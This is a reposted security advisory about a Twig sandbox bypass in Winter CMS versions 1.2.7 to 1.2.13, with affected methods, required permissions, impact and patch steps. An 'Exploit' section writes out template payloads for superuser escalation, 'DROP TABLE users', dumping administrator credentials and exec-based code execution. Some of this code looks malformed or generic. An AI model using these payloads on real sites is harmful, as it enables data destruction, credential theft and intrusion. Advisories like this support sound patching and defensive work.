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This vulnerability affects Winter CMS, a free, open-source content management system based on the Laravel PHP framework. It allows authenticated backend users with CMS template-editing permissions to escape the Twig sandbox (“safe mode”) that is meant to restrict what template code can do.
This is an incomplete-fix follow-up to CVE-2024-54149 (GHSA-xhw3-4j3m-hq53). The original fix added a blocklist of dangerous methods to System\Twig\SecurityPolicy, but the blocklist missed a large number of equivalent methods and did not account for the way Eloquent models forward calls to the query builder.
As a result, the sandbox could be bypassed through various methods, including:
– `saveQuietly()` / `deleteQuietly()`
– `increment()` / `decrement()`
– `newQuery()`
– `getConnection()` and `getConnectionResolver()`
– Relation and pivot methods
– Higher-order collection methods that execute callables
Using any of the following permissions, an attacker can read and modify arbitrary database records, execute arbitrary SQL (including DDL such as DROP TABLE), exfiltrate sensitive data such as backend administrator credentials, and achieve remote code execution by injecting PHP into a CMS page, layout, or partial code section:
– `cms.manage_pages`
– `cms.manage_layouts`
– `cms.manage_partials`
To actively exploit this issue, an attacker would need an authenticated backend account with one of the permissions listed above. These permissions are intended for trusted developers/administrators, and the sandbox is the additional protection layer this advisory is concerned with.
DailyCVE Form:
Platform: Winter CMS
Version: 1.2.7 – 1.2.13
Vulnerability: Twig Sandbox Bypass
Severity: High (CVSS 8.4)
Date: 2026-08-20
Prediction: Already patched in v1.2.13
What Undercode Say:
Check current Winter CMS version php artisan winter:version Clear compiled Twig template cache after patching php artisan cache:clear Verify the SecurityPolicy patch is applied grep -r "SafeCollection" vendor/winter/wn-system-module/src/System/Twig/SecurityPolicy.php
Exploit: (Educational Purposes!)
An attacker with cms.manage_pages, cms.manage_layouts, or `cms.manage_partials` permissions can craft a Twig template containing:
{ Bypass sandbox via Eloquent model forwarding }
{{ User.first().saveQuietly({'is_superuser': true}) }}
{ Execute arbitrary SQL }
{{ Database.connection().statement('DROP TABLE users') }}
{ Exfiltrate data }
{{ Database.table('backend_users').get().toJson() }}
{ Remote code execution via PHP injection }
{{ _self.env.registerUndefinedFilterCallback('exec') }}
{{ _self.env.getFilter('id') }}
The vulnerability exists because the blocklist did not account for `__call` forwarding through Eloquent models, relations, and query builders.
Protection:
Upgrade to Winter CMS v1.2.13 or later.
If you cannot upgrade immediately:
1. Apply the patch manually: `wintercms/winter@725bbcd`
- Restrict
cms.manage_pages,cms.manage_layouts, and `cms.manage_partials` to fully trusted administrators only - Clear the compiled Twig template cache: `php artisan cache:clear`
Impact:
- Data Breach: Read and modify arbitrary database records
- Data Loss: Execute arbitrary SQL including `DROP TABLE`
– Credential Theft: Exfiltrate backend administrator credentials - Remote Code Execution: Inject PHP into CMS pages, layouts, or partials
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Sources:
Reported By: github.com
Extra Source Hub:
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